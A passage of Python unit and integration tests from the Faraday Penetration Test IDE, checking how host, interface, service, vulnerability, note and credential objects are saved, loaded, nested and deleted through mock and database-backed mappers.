1195 }
1196
1197 doc_cred = {
1198 "type": "Cred",
1199 "_id": "cred1",
1200 "name": "Vuln1",
1201 "owned": False,
1202 "parent": "1234",
1203 "owner": None,
1204 "description": "some description",
1205 "metadata": None,
1206 "username": "infobyte",
1207 "password": "secret"
1208 }
1209
1210 pmanager = mock(NullPersistenceManager)
1211 when(pmanager).getDocument("1234").thenReturn(doc_host)
1212 when(pmanager).getDocument("note1").thenReturn(doc_note)
1213 when(pmanager).getDocument("vuln1").thenReturn(doc_vuln)
1214 when(pmanager).getDocument("cred1").thenReturn(doc_cred)
1215 when(pmanager).getChildren(any(str)).thenReturn([])
1216 when(pmanager).getChildren("1234").thenReturn(
1217 [{'_id': "note1", 'type': "Note"},
1218 {'_id': "vuln1", 'type': "Vulnerability"},
1219 {'_id': "cred1", 'type': "Cred"}])
1220
1221 self.mapper_manager.createMappers(pmanager)
1222
1223 host = self.mapper_manager.find("1234")
1224 self.assertNotEquals(
1225 host,
1226 None,
1227 "Existent host shouldn't be None")
1228
1229 self.assertEquals(
1230 len(host.getNotes()),
1231 1,
1232 "Host should have one note")
1233
1234
1235 self.assertEquals(
1236 len(host.getVulns()),
1237 1,
1238 "Host should have one vuln")
1239
1240 self.assertEquals(
1241 len(host.getCreds()),
1242 1,
1243 "Host should have one cred")
1244
1245 def test_delete_interface_from_composite_one_host_one_interface_two_services(self):
1246 doc_host = {
1247 "type": "Host",
1248 "_id": "1234",
1249 "name": "pepito",
1250 "owned": False,
1251 "parent": None,
1252 "owner": None,
1253 "description": "some description",
1254 "metadata": None,
1255 "os": "linux",
1256 "default_gateway": None
1257 }
1258
1259 doc_interface = {
1260 "type": "Interface",
1261 "_id": "5678",
1262 "name": "192.168.10.168",
1263 "owned": False,
1264 "parent": "1234",
1265 "owner": None,
1266 "description": "some description",
1267 "metadata": None,
1268 "mac": "01:02:03:04:05:06",
1269 "network_segment": None,
1270 "hostnames": ["www.test.com"],
1271 "ipv4": {
1272 "address": "192.168.10.168",
1273 "mask": "255.255.255.0",
1274 "gateway": "192.168.10.1",
1275 "DNS": "192.168.10.1"
1276 },
1277 "ipv6": {},
1278 "ports": {
1279 "opened": 2,
1280 "closed": 3,
1281 "filtered": 4,
1282 }
1283 }
1284
1285 doc_service1 = {
1286 "type": "Service",
1287 "_id": "abcd",
1288 "name": "http",
1289 "owned": False,
1290 "parent": "5678",
1291 "owner": None,
1292 "description": "some description",
1293 "metadata": None,
1294 "protocol": "tcp",
1295 "status": "open",
1296 "ports": [80],
1297 "version": "Apache 2.4"
1298 }
1299
1300 doc_service2 = {
1301 "type": "Service",
1302 "_id": "efgh",
1303 "name": "ssh",
1304 "owned": False,
1305 "parent": "5678",
1306 "owner": None,
1307 "description": "some description",
1308 "metadata": None,
1309 "protocol": "tcp",
1310 "status": "open",
1311 "ports": [22],
1312 "version": "OpenSSH"
1313 }
1314
1315 self.pmanager = mock(NullPersistenceManager)
1316 when(self.pmanager).getDocument("1234").thenReturn(doc_host)
1317 when(self.pmanager).getDocument("5678").thenReturn(doc_interface)
1318 when(self.pmanager).getDocument("abcd").thenReturn(doc_service1)
1319 when(self.pmanager).getDocument("efgh").thenReturn(doc_service2)
1320 when(self.pmanager).getChildren(any(str)).thenReturn([])
1321 when(self.pmanager).getChildren("1234").thenReturn([{'_id': "5678", 'type': "Interface"}])
1322 when(self.pmanager).getChildren("5678").thenReturn([{'_id': "abcd", 'type': "Service"}, {'_id': "efgh", 'type': "Service"}])
1323
1324 self.mapper_manager.createMappers(self.pmanager)
1325
1326 # load the host first
1327 host = self.mapper_manager.find("1234")
1328
1329 #then remove the interface
1330 iface_id = host.getInterface("5678").getID()
1331 host.deleteChild(iface_id)
1332
1333 def fake_remove(id):
1334 when(self.pmanager).getDocument(id).thenReturn(None)
1335 when(self.pmanager).remove("5678").thenReturn(fake_remove("5678"))
1336 when(self.pmanager).remove("abcd").thenReturn(fake_remove("abcd"))
1337 when(self.pmanager).remove("efgh").thenReturn(fake_remove("efgh"))
1338 self.mapper_manager.remove(iface_id)
1339
1340 # now we make sure that we have removed the interface
1341 # and the services
1342
1343 self.assertEquals(
1344 len(host.getAllInterfaces()),
1345 0,
1346 "Host should have no interfaces")
1347
1348 self.assertEquals(
1349 self.mapper_manager.find("5678"),
1350 None,
1351 "Service abcd shouldn't exist anymore")
1352
1353
1354 self.assertEquals(
1355 self.mapper_manager.find("abcd"),
1356 None,
1357 "Service abcd shouldn't exist anymore")
1358
1359 self.assertEquals(
1360 self.mapper_manager.find("efgh"),
1361 None,
1362 "Service efgh shouldn't exist anymore")
1363
1364 def test_load_composite_one_workspace_two_hosts(self):
1365
1366 doc_ws = {
1367 "type": "Workspace",
1368 "_id": "test_ws",
1369 "name": "test_ws",
1370 "description": "some description",
1371 "customer": "Infobyte",
1372 "sdate": None,
1373 "fdate": None
1374 }
1375
1376 doc_host1 = {
1377 "type": "Host",
1378 "_id": "1234",
1379 "name": "pepito",
1380 "owned": False,
1381 "parent": "test_ws",
1382 "owner": None,
1383 "description": "some description",
1384 "metadata": None,
1385 "os": "linux",
1386 "default_gateway": None
1387 }
1388
1389 doc_host2 = {
1390 "type": "Host",
1391 "_id": "5678",
1392 "name": "coquito",
1393 "owned": False,
1394 "parent": "test_ws",
1395 "owner": None,
1396 "description": "some description",
1397 "metadata": None,
1398 "os": "windows",
1399 "default_gateway": None
1400 }
1401
1402 pmanager = NullPersistenceManager()
1403 when(pmanager).getDocument("test_ws").thenReturn(doc_ws)
1404 when(pmanager).getDocument("1234").thenReturn(doc_host1)
1405 when(pmanager).getDocument("5678").thenReturn(doc_host2)
1406 when(pmanager).getDocsByFilter(any, any).thenReturn([])
1407 when(pmanager).getDocsByFilter(any(str), None).thenReturn([])
1408 when(pmanager).getDocsByFilter(None, None).thenReturn([])
1409 when(pmanager).getDocsByFilter("test_ws", None).thenReturn(
1410 [{'_id': "1234", 'type': "Host"},
1411 {'_id': "5678", 'type': "Host"}])
1412 #when(pmanager).getDocsByFilter(None, "Host").thenReturn([])
1413
1414 self.mapper_manager.createMappers(pmanager)
1415
1416 ws = self.mapper_manager.find("test_ws")
1417 self.assertNotEquals(
1418 ws,
1419 None,
1420 "Existent Workspace shouldn't be None")
1421
1422 self.assertEquals(
1423 len(ws.getHosts()),
1424 2,
1425 "Workspace should have two hosts")
1426
1427 hosts_ids = [host.getID() for host in ws.getHosts()]
1428 self.assertIn(
1429 "1234",
1430 hosts_ids,
1431 "Host '1234' should be one of the workspace's hosts")
1432
1433 self.assertIn(
1434 "5678",
1435 hosts_ids,
1436 "Host '5678' should be one of the workspace's hosts")
1437
1438
1439 if __name__ == '__main__':
1440 unittest.main()
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 import unittest
10 import sys
11 import os
12 import random
13 sys.path.append(os.path.abspath(os.getcwd()))
14 import time
15
16 from persistence.persistence_managers import CouchDbManager, FileSystemManager
17 from managers.mapper_manager import MapperManager
18
19 from model.hosts import Host, Interface
20
21 from config.configuration import getInstanceConfiguration
22 CONF = getInstanceConfiguration()
23
24
25 class MapperWithCouchDbManagerInegrationTest(unittest.TestCase):
26 def setUp(self):
27 self.db_name = self.new_random_workspace_name()
28
29 self.couchdbmanager = CouchDbManager(CONF.getCouchURI())
30
31 self.connector = self.couchdbmanager.createDb(self.db_name)
32 self.mapper_manager = MapperManager()
33 self.mapper_manager.createMappers(self.connector)
34
35 def new_random_workspace_name(self):
36 return ("aworkspace" + "".join(random.sample(
37 [chr(i) for i in range(65, 90)], 10))).lower()
38
39 def tearDown(self):
40 self.couchdbmanager.deleteDb(self.db_name)
41 time.sleep(3)
42
43 def test_host_saving(self):
44 host = Host(name="pepito", os="linux")
45 host.setDescription("Some description")
46 host.setOwned(True)
47 self.mapper_manager.save(host)
48
49 self.assertNotEquals(
50 self.connector.getDocument(host.getID()),
51 None,
52 "Document shouldn't be None")
53
54 self.assertEquals(
55 self.connector.getDocument(host.getID()).get("name"),
56 host.getName(),
57 "Document should have the same host name")
58
59 def test_load_nonexistent_host_using_manager_find(self):
60 self.assertEquals(
61 self.connector.getDocument("1234"),
62 None,
63 "Nonexistent host should return None document")
64
65 self.assertEquals(
66 self.mapper_manager.find("1234"),
67 None,
68 "Nonexistent host should return None object")
69
70 def test_load_nonexistent_host_using_mapper_find(self):
71 self.assertEquals(
72 self.connector.getDocument("1234"),
73 None,
74 "Nonexistent host should return None document")
75
76 self.assertEquals(
77 self.mapper_manager.getMapper(Host.__name__).find("1234"),
78 None,
79 "Nonexistent host should return None object")
80
81 def test_find_not_loaded_host(self):
82 host = Host(name="pepito", os="linux")
83 host.setDescription("Some description")
84 host.setOwned(True)
85 self.mapper_manager.save(host)
86
87 #create a set of mappers, so we have a clean map
88 self.mapper_manager = MapperManager()
89 self.mapper_manager.createMappers(self.connector)
90
91 h = self.mapper_manager.find(host.getID())
92 self.assertNotEquals(
93 h,
94 None,
95 "Existent host shouldn't return None")
96
97 self.assertEquals(
98 h.getName(),
99 "pepito",
100 "Host name should be pepito")
101
102 self.assertEquals(
103 h.getOS(),
104 "linux",
105 "Host os should be linux")
106
107 def test_host_create_and_delete(self):
108 host = Host(name="coquito")
109 self.mapper_manager.save(host)
110 h_id = host.getID()
111
112 self.assertNotEquals(
113 self.mapper_manager.find(h_id),
114 None,
115 "Host should be in the mapper")
116
117 self.assertNotEquals(
118 self.connector.getDocument(h_id),
119 None,
120 "Host should be in the db")
121
122 self.mapper_manager.remove(h_id)
123
124 self.assertEquals(
125 self.mapper_manager.find(h_id),
126 None,
127 "Host shouldn't exist anymore in the mapper")
128
129 self.assertEquals(
130 self.connector.getDocument(h_id),
131 None,
132 "Host shouldn't exist anymore in the db")
133
134 def test_composite_host(self):
135 # add host
136 host = Host(name="pepito", os="linux")
137 host.setDescription("Some description")
138 host.setOwned(True)
139 self.mapper_manager.save(host)
140 # add inteface
141 iface = Interface(name="192.168.10.168", mac="01:02:03:04:05:06")
142 iface.setDescription("Some description")
143 iface.setOwned(True)
144 iface.addHostname("www.test.com")
145 iface.setIPv4({
146 "address": "192.168.10.168",
147 "mask": "255.255.255.0",
148 "gateway": "192.168.10.1",
149 "DNS": "192.168.10.1"
150 })
151 iface.setPortsOpened(2)
152 iface.setPortsClosed(3)
153 iface.setPortsFiltered(4)
154 host.addChild(iface)
155 self.mapper_manager.save(iface)
156
157 h = self.mapper_manager.find(host.getID())
158 self.assertEquals(
159 len(h.getAllInterfaces()),
160 len(host.getAllInterfaces()),
161 "Interfaces from original host should be equals to retrieved host's interfaces")
162
163 i = self.mapper_manager.find(h.getAllInterfaces()[0].getID())
164 self.assertEquals(
165 i.getID(),
166 iface.getID(),
167 "Interface's id' from original host should be equals to retrieved host's interface's id")
168
169 def test_load_not_loaded_composite_host(self):
170 # add host
171 host = Host(name="pepito", os="linux")
172 host.setDescription("Some description")
173 host.setOwned(True)
174 self.mapper_manager.save(host)
175 # add inteface
176 iface = Interface(name="192.168.10.168", mac="01:02:03:04:05:06")
177 iface.setDescription("Some description")
178 iface.setOwned(True)
179 iface.addHostname("www.test.com")
180 iface.setIPv4({
181 "address": "192.168.10.168",
182 "mask": "255.255.255.0",
183 "gateway": "192.168.10.1",
184 "DNS": "192.168.10.1"
185 })
186 iface.setPortsOpened(2)
187 iface.setPortsClosed(3)
188 iface.setPortsFiltered(4)
189 host.addChild(iface)
190 self.mapper_manager.save(iface)
191
192 #create a set of mappers, so we have a clean map
193 self.mapper_manager = MapperManager()
194 self.mapper_manager.createMappers(self.connector)
195
196 h = self.mapper_manager.find(host.getID())
197 self.assertEquals(
198 len(h.getAllInterfaces()),
199 len(host.getAllInterfaces()),
200 "Interfaces from original host should be equals to retrieved host's interfaces")
201
202 i = self.mapper_manager.find(h.getAllInterfaces()[0].getID())
203 self.assertEquals(
204 i.getID(),
205 iface.getID(),
206 "Interface's id' from original host should be equals to retrieved host's interface's id")
207
208
209 class MapperWithFileSystemManagerInegrationTest(unittest.TestCase):
210 def setUp(self):
211 self.db_name = self.new_random_workspace_name()
212
213 self.fsmanager = FileSystemManager()
214
215 self.connector = self.fsmanager.createDb(self.db_name)
216 self.mapper_manager = MapperManager()
217 self.mapper_manager.createMappers(self.connector)
218
219 def new_random_workspace_name(self):
220 return ("aworkspace" + "".join(random.sample(
221 [chr(i) for i in range(65, 90)], 10))).lower()
222
223 def tearDown(self):
224 self.fsmanager.deleteDb(self.db_name)
225
226 def test_host_saving(self):
227 host = Host(name="pepito", os="linux")
228 host.setDescription("Some description")
229 host.setOwned(True)
230 self.mapper_manager.save(host)
231
232 self.assertNotEquals(
233 self.connector.getDocument(host.getID()),
234 None,
235 "Document shouldn't be None")
236
237 self.assertEquals(
238 self.connector.getDocument(host.getID()).get("name"),
239 host.getName(),
240 "Document should have the same host name")
241
242 def test_load_nonexistent_host_using_manager_find(self):
243 self.assertEquals(
244 self.connector.getDocument("1234"),
245 None,
246 "Nonexistent host should return None document")
247
248 self.assertEquals(
249 self.mapper_manager.find("1234"),
250 None,
251 "Nonexistent host should return None object")
252
253 def test_load_nonexistent_host_using_mapper_find(self):
254 self.assertEquals(
255 self.connector.getDocument("1234"),
256 None,
257 "Nonexistent host should return None document")
258
259 self.assertEquals(
260 self.mapper_manager.getMapper(Host.__name__).find("1234"),
261 None,
262 "Nonexistent host should return None object")
263
264 def test_find_not_loaded_host(self):
265 host = Host(name="pepito", os="linux")
266 host.setDescription("Some description")
267 host.setOwned(True)
268 self.mapper_manager.save(host)
269
270 #create a set of mappers, so we have a clean map
271 self.mapper_manager = MapperManager()
272 self.mapper_manager.createMappers(self.connector)
273
274 h = self.mapper_manager.find(host.getID())
275 self.assertNotEquals(
276 h,
277 None,
278 "Existent host shouldn't return None")
279
280 self.assertEquals(
281 h.getName(),
282 "pepito",
283 "Host name should be pepito")
284
285 self.assertEquals(
286 h.getOS(),
287 "linux",
288 "Host os should be linux")
289
290 def test_host_create_and_delete(self):
291 host = Host(name="coquito")
292 self.mapper_manager.save(host)
293 h_id = host.getID()
294
295 self.assertNotEquals(
296 self.mapper_manager.find(h_id),
297 None,
298 "Host should be in the mapper")
299
300 self.assertNotEquals(
301 self.connector.getDocument(h_id),
302 None,
303 "Host should be in the db")
304
305 self.mapper_manager.remove(h_id)
306
307 self.assertEquals(
308 self.mapper_manager.find(h_id),
309 None,
310 "Host shouldn't exist anymore in the mapper")
311
312 self.assertEquals(
313 self.connector.getDocument(h_id),
314 None,
315 "Host shouldn't exist anymore in the db")
316
317 def test_composite_host(self):
318 # add host
319 host = Host(name="pepito", os="linux")
320 host.setDescription("Some description")
321 host.setOwned(True)
322 self.mapper_manager.save(host)
323 # add inteface
324 iface = Interface(name="192.168.10.168", mac="01:02:03:04:05:06")
325 iface.setDescription("Some description")
326 iface.setOwned(True)
327 iface.addHostname("www.test.com")
328 iface.setIPv4({
329 "address": "192.168.10.168",
330 "mask": "255.255.255.0",
331 "gateway": "192.168.10.1",
332 "DNS": "192.168.10.1"
333 })
334 iface.setPortsOpened(2)
335 iface.setPortsClosed(3)
336 iface.setPortsFiltered(4)
337 host.addChild(iface)
338 self.mapper_manager.save(iface)
339
340 h = self.mapper_manager.find(host.getID())
341 self.assertEquals(
342 len(h.getAllInterfaces()),
343 len(host.getAllInterfaces()),
344 "Interfaces from original host should be equals to retrieved host's interfaces")
345
346 i = self.mapper_manager.find(h.getAllInterfaces()[0].getID())
347 self.assertEquals(
348 i.getID(),
349 iface.getID(),
350 "Interface's id' from original host should be equals to retrieved host's interface's id")
351
352 def test_load_not_loaded_composite_host(self):
353 # add host
354 host = Host(name="pepito", os="linux")
355 host.setDescription("Some description")
356 host.setOwned(True)
357 self.mapper_manager.save(host)
358 # add inteface
359 iface = Interface(name="192.168.10.168", mac="01:02:03:04:05:06")
360 iface.setDescription("Some description")
361 iface.setOwned(True)
362 iface.addHostname("www.test.com")
363 iface.setIPv4({
364 "address": "192.168.10.168",
365 "mask": "255.255.255.0",
366 "gateway": "192.168.10.1",
367 "DNS": "192.168.10.1"
368 })
369 iface.setPortsOpened(2)
370 iface.setPortsClosed(3)
371 iface.setPortsFiltered(4)
372 host.addChild(iface)
373 self.mapper_manager.save(iface)
374
375 #create a set of mappers, so we have a clean map
376 self.mapper_manager = MapperManager()
377 self.mapper_manager.createMappers(self.connector)
378
379 h = self.mapper_manager.find(host.getID())
380 self.assertEquals(
381 len(h.getAllInterfaces()),
382 len(host.getAllInterfaces()),
383 "Interfaces from original host should be equals to retrieved host's interfaces")
384
385 i = self.mapper_manager.find(h.getAllInterfaces()[0].getID())
386 self.assertEquals(
387 i.getID(),
388 iface.getID(),
389 "Interface's id' from original host should be equals to retrieved host's interface's id")
390
391
392 if __name__ == '__main__':
393 unittest.main()
0 #!/usr/bin/python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7 from unittest import TestCase
8 import unittest
9 import sys
10 sys.path.append('.')
11 import model.controller as controller
12 import plugins.core as plcore
13 from mockito import mock, verify, when, any
14 from model import api
15 from model.hosts import Host, Interface, Service
16 from model.common import ModelObjectVuln, ModelObjectVulnWeb, ModelObjectNote, ModelComposite, ModelObjectCred
17 import random
18
19 from model.visitor import VulnsLookupVisitor
20 import test_cases.common as test_utils
21
22
23 class ModelObjectComposite(unittest.TestCase):
24
25 def testAddInterfaceToHost(self):
26 host = Host('coco')
27 inter = Interface('cuca')
28 host.addChild(inter)
29
30 self.assertIn(inter, host.childs.values(), 'Interface not in childs')
31 self.assertIn(inter, host.getAllInterfaces(), 'Interface not accessible')
32
33 def testAddServiceToInterface(self):
34 interface = Interface('coco')
35 serv = Service('cuca')
36 interface.addChild(serv)
37
38 self.assertIn(serv, interface.childs.values(), 'Service not in childs')
39 self.assertIn(serv, interface.getAllServices(), 'Service not accessible')
40
41 def testAddVulnToInterface(self):
42 serv = Service('cuca')
43 vuln = ModelObjectVuln('vuln')
44 serv.addChild(vuln)
45
46 self.assertIn(vuln, serv.childs.values(), 'Vuln not in childs')
47 self.assertIn(vuln, serv.getVulns(), 'Vuln not accessible')
48
49 def testHostWithMultipleChildTypes(self):
50 host = Host('coco')
51 inter = Interface('cuca')
52 vuln = ModelObjectVuln('vuln')
53 host.addChild(inter)
54 host.addChild(vuln)
55
56 self.assertEquals(len(host.getVulns()), 1, "Vulns added is not 1")
57 self.assertIn(vuln, host.getVulns(), "Vuln not accessible")
58 self.assertEquals(len(host.getAllInterfaces()), 1, "Interfaces added is not 1")
59
60 def testInterfaceWithMultipleChildTypes(self):
61 inter = Interface('coco')
62 serv = Service('cuca')
63 vuln = ModelObjectVuln('vuln')
64 inter.addChild(serv)
65 inter.addChild(vuln)
66
67 self.assertEquals(len(inter.getVulns()), 1, "Vulns added is not 1")
68 self.assertIn(vuln, inter.getVulns(), "Vuln not accessible")
69 self.assertEquals(len(inter.getAllServices()), 1, "Services added is not 1")
70
71 def testServiceWithMultipleChildTypes(self):
72 serv = Service('cuca')
73 vuln = ModelObjectVuln('vuln')
74 note = ModelObjectNote('nota')
75 serv.addChild(note)
76 serv.addChild(vuln)
77
78 self.assertEquals(len(serv.getVulns()), 1, "Vulns added is not 1")
79 self.assertIn(vuln, serv.getVulns(), "Vuln not accessible")
80 self.assertEquals(len(serv.getNotes()), 1, "Notes added is not 1")
81 self.assertIn(note, serv.getNotes(), "Note not accessible")
82
83 def testHostWithCredentials(self):
84 host = Host('coco')
85 cred = ModelObjectCred('coco', 'coco123')
86 host.addChild(cred)
87 self.assertEquals(len(host.getCreds()), 1, "Creds added is not 1")
88 self.assertIn(cred, host.getCreds(), "Cred not accessible")
89
90 def testInterfaceSetServices(self):
91 inter = Interface('coco')
92 services = {}
93 for i in range(50, 60):
94 serv = Service('cuca%s' % i, ports=[i])
95 services[serv.getID()] = serv
96 inter.setServices(services)
97
98 self.assertEquals(len(inter.getChildsByType(Service.__name__)), 10, "not all services added")
99 for s in services.values():
100 self.assertIn(s, inter.getChildsByType(Service.__name__), "what happened with services?")
101
102 def testHostSetInterfaces(self):
103 host = Host('coco')
104 interfaces = {}
105 for i in range(50, 60):
106 inter = Interface('cuca%s' % i, ipv4_address="192.168.0.%d" % i)
107 interfaces[inter.getID()] = inter
108 host.setInterfaces(interfaces)
109
110 self.assertEquals(len(host.getChildsByType(Interface.__name__)), 10, "not all interfaces added")
111 for s in interfaces.values():
112 self.assertIn(s, host.getChildsByType(Interface.__name__), "what happened with interfaces?")
113
114
115 if __name__ == '__main__':
116 unittest.main()
117
118
119
120
0 #!/usr/bin/python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7 import unittest
8 import sys
9 sys.path.append('.')
10 import model.controller as controller
11 from mockito import mock, verify, when, any
12 from model.hosts import Host, Interface, Service
13 from model.common import ModelObjectVuln, ModelObjectVulnWeb, ModelObjectNote, ModelObjectCred
14
15
16 class ModelObjectControllerUnitTest(unittest.TestCase):
17 # TODO: Notifier goes into mapper?
18
19 def testAddHostGetsMapperDispatchSaveSYNC(self):
20 host = Host('coco')
21
22 mappersManager = self.createMapperMock()
23 objectMapper = mock()
24 when(mappersManager).getMapper(host.class_signature).thenReturn(objectMapper)
25 when(objectMapper).save(host).thenReturn(True)
26
27 model_controller = controller.ModelController(mock(), mappersManager)
28
29 model_controller.addHostSYNC(host)
30 verify(mappersManager).getMapper(host.class_signature)
31 verify(objectMapper).save(host)
32
33 def testAddHostGetsMapperDispatchSaveASYNC(self):
34 host = Host('coco')
35
36 mappersManager = self.createMapperMock()
37 objectMapper = mock()
38 when(mappersManager).getMapper(host.class_signature).thenReturn(objectMapper)
39 when(objectMapper).save(host).thenReturn(True)
40
41 model_controller = controller.ModelController(mock(), mappersManager)
42
43 model_controller.addHostASYNC(host)
44 model_controller.processAllPendingActions()
45
46 verify(mappersManager).getMapper(host.class_signature)
47 verify(objectMapper).save(host)
48
49 def testAddInterfaceGetsMapperDispatchSaveSYNC(self):
50 host = Host('coco')
51 interface = Interface("int_mock0")
52
53 mappersManager = self.createMapperMock()
54 objectMapper = mock()
55 when(mappersManager).getMapper(interface.class_signature).thenReturn(objectMapper)
56 when(objectMapper).save(interface).thenReturn(True)
57
58 model_controller = controller.ModelController(mock(), mappersManager)
59
60 model_controller.addInterfaceSYNC(host.getID(), interface)
61 verify(mappersManager).getMapper(interface.class_signature)
62 verify(objectMapper).save(interface)
63
64 def testAddInterfaceGetsMapperDispatchSaveASYNC(self):
65 host = Host('coco')
66 interface = Interface("int_mock0")
67
68 mappersManager = self.createMapperMock()
69 objectMapper = mock()
70 when(mappersManager).getMapper(interface.class_signature).thenReturn(objectMapper)
71 when(objectMapper).save(interface).thenReturn(True)
72
73 model_controller = controller.ModelController(mock(), mappersManager)
74
75 model_controller.addInterfaceASYNC(host.getID(), interface)
76 model_controller.processAllPendingActions()
77
78 verify(mappersManager).getMapper(interface.class_signature)
79 verify(objectMapper).save(interface)
80
81 def testAddObjectSavesChildInParent(self):
82 host = Host('coco')
83 interface = Interface("int_mock0")
84
85 mappersManager = self.createMapperMock()
86 objectMapper = mock()
87
88 when(mappersManager).getMapper(interface.class_signature).thenReturn(objectMapper)
89 when(objectMapper).save(interface).thenReturn(True)
90 when(mappersManager).find(host.getID()).thenReturn(host)
91
92 model_controller = controller.ModelController(mock(), mappersManager)
93
94 model_controller.addInterfaceSYNC(host.getID(), interface)
95 verify(mappersManager).getMapper(interface.class_signature)
96 verify(objectMapper).save(interface)
97
98 self.assertEquals(interface, host.findChild(interface.getID()),
99 "Orphan child, what happen papi?")
100
101 def testAddServiceGetsMapperDispatchSaveSYNC(self):
102 interface = Interface("int_mock0")
103 service = Service("servi")
104
105 mappersManager = self.createMapperMock()
106 objectMapper = mock()
107 when(mappersManager).getMapper(service.class_signature).thenReturn(objectMapper)
108 when(objectMapper).save(service).thenReturn(True)
109
110 model_controller = controller.ModelController(mock(), mappersManager)
111
112 model_controller.addServiceToInterfaceSYNC(None, interface.getID(), service)
113
114 verify(mappersManager).getMapper(service.class_signature)
115 verify(objectMapper).save(service)
116
117 def testAddServiceGetsMapperDispatchSaveASYNC(self):
118 interface = Interface("int_mock0")
119 service = Service("servi")
120
121 mappersManager = self.createMapperMock()
122 objectMapper = mock()
123 when(mappersManager).getMapper(service.class_signature).thenReturn(objectMapper)
124 when(objectMapper).save(service).thenReturn(True)
125
126 model_controller = controller.ModelController(mock(), mappersManager)
127
128 model_controller.addServiceToInterfaceASYNC(None, interface.getID(), service)
129 model_controller.processAllPendingActions()
130
131 verify(mappersManager).getMapper(service.class_signature)
132 verify(objectMapper).save(service)
133
134 def testAddVulnToServiceGetsMapperDispatchSaveSYNC(self):
135 service = Service("servi")
136 vuln = ModelObjectVuln("a_vuln")
137
138 mappersManager = self.createMapperMock()
139 objectMapper = mock()
140 when(mappersManager).getMapper(vuln.class_signature).thenReturn(objectMapper)
141 when(objectMapper).save(vuln).thenReturn(True)
142
143 model_controller = controller.ModelController(mock(), mappersManager)
144
145 model_controller.addVulnToServiceSYNC(None, service.getID(), vuln)
146
147 verify(mappersManager).getMapper(vuln.class_signature)
148 verify(objectMapper).save(vuln)
149
150 def testAddVulnToServiceGetsMapperDispatchSaveASYNC(self):
151 service = Service("servi")
152 vuln = ModelObjectVuln("a_vuln")
153
154 mappersManager = self.createMapperMock()
155 objectMapper = mock()
156 when(mappersManager).getMapper(vuln.class_signature).thenReturn(objectMapper)
157 when(objectMapper).save(vuln).thenReturn(True)
158
159 model_controller = controller.ModelController(mock(), mappersManager)
160
161 model_controller.addVulnToServiceASYNC(None, service.getID(), vuln)
162 model_controller.processAllPendingActions()
163
164 verify(mappersManager).getMapper(vuln.class_signature)
165 verify(objectMapper).save(vuln)
166
167 def testAddVulnToInterfaceGetsMapperDispatchSaveSYNC(self):
168 interface = Interface("int0")
169 vuln = ModelObjectVuln("a_vuln")
170
171 mappersManager = self.createMapperMock()
172 objectMapper = mock()
173 when(mappersManager).getMapper(vuln.class_signature).thenReturn(objectMapper)
174 when(objectMapper).save(vuln).thenReturn(True)
175
176 model_controller = controller.ModelController(mock(), mappersManager)
177
178 model_controller.addVulnToInterfaceSYNC(None, interface.getID(), vuln)
179
180 verify(mappersManager).getMapper(vuln.class_signature)
181 verify(objectMapper).save(vuln)
182
183 def testAddVulnToInterfaceGetsMapperDispatchSaveASYNC(self):
184 interface = Interface("int0")
185 vuln = ModelObjectVuln("a_vuln")
186
187 mappersManager = self.createMapperMock()
188 objectMapper = mock()
189 when(mappersManager).getMapper(vuln.class_signature).thenReturn(objectMapper)
190 when(objectMapper).save(vuln).thenReturn(True)
191
192 model_controller = controller.ModelController(mock(), mappersManager)
193
194 model_controller.addVulnToInterfaceASYNC(None, interface.getID(), vuln)
195 model_controller.processAllPendingActions()
196
197 verify(mappersManager).getMapper(vuln.class_signature)
198 verify(objectMapper).save(vuln)
199
200 def testAddVulnToHostGetsMapperDispatchSaveSYNC(self):
201 host = Host("pepito")
202 vuln = ModelObjectVuln("a_vuln")
203
204 mappersManager = self.createMapperMock()
205 objectMapper = mock()
206 when(mappersManager).getMapper(vuln.class_signature).thenReturn(objectMapper)
207 when(objectMapper).save(vuln).thenReturn(True)
208
209 model_controller = controller.ModelController(mock(), mappersManager)
210
211 model_controller.addVulnToHostSYNC(host.getID(), vuln)
212
213 verify(mappersManager).getMapper(vuln.class_signature)
214 verify(objectMapper).save(vuln)
215
216 def testAddVulnToHostGetsMapperDispatchSaveASYNC(self):
217 host = Host("pepito")
218 vuln = ModelObjectVuln("a_vuln")
219
220 mappersManager = self.createMapperMock()
221 objectMapper = mock()
222 when(mappersManager).getMapper(vuln.class_signature).thenReturn(objectMapper)
223 when(objectMapper).save(vuln).thenReturn(True)
224
225 model_controller = controller.ModelController(mock(), mappersManager)
226
227 model_controller.addVulnToHostASYNC(host.getID(), vuln)
228 model_controller.processAllPendingActions()
229
230 verify(mappersManager).getMapper(vuln.class_signature)
231 verify(objectMapper).save(vuln)
232
233 def testAddNoteToServiceGetsMapperDispatchSaveSYNC(self):
234 service = Service("servi")
235 note = ModelObjectNote("a_note")
236
237 mappersManager = self.createMapperMock()
238 objectMapper = mock()
239 when(mappersManager).getMapper(note.class_signature).thenReturn(objectMapper)
240 when(objectMapper).save(note).thenReturn(True)
241
242 model_controller = controller.ModelController(mock(), mappersManager)
243
244 model_controller.addNoteToServiceSYNC(None, service.getID(), note)
245
246 verify(mappersManager).getMapper(note.class_signature)
247 verify(objectMapper).save(note)
248
249 def testAddNoteToServiceGetsMapperDispatchSaveASYNC(self):
250 service = Service("servi")
251 note = ModelObjectNote("a_note")
252
253 mappersManager = self.createMapperMock()
254 objectMapper = mock()
255 when(mappersManager).getMapper(note.class_signature).thenReturn(objectMapper)
256 when(objectMapper).save(note).thenReturn(True)
257
258 model_controller = controller.ModelController(mock(), mappersManager)
259
260 model_controller.addNoteToServiceASYNC(None, service.getID(), note)
261 model_controller.processAllPendingActions()
262
263 verify(mappersManager).getMapper(note.class_signature)
264 verify(objectMapper).save(note)
265
266 def testAddNoteToVulnGetsMapperDispatchSave(self):
267 vuln = ModelObjectVuln('a vuln')
268 note = ModelObjectNote("a_note")
269
270 mappersManager = self.createMapperMock()
271 objectMapper = mock()
272 when(mappersManager).getMapper(note.class_signature).thenReturn(objectMapper)
273 when(objectMapper).save(note).thenReturn(True)
274
275 model_controller = controller.ModelController(mock(), mappersManager)
276
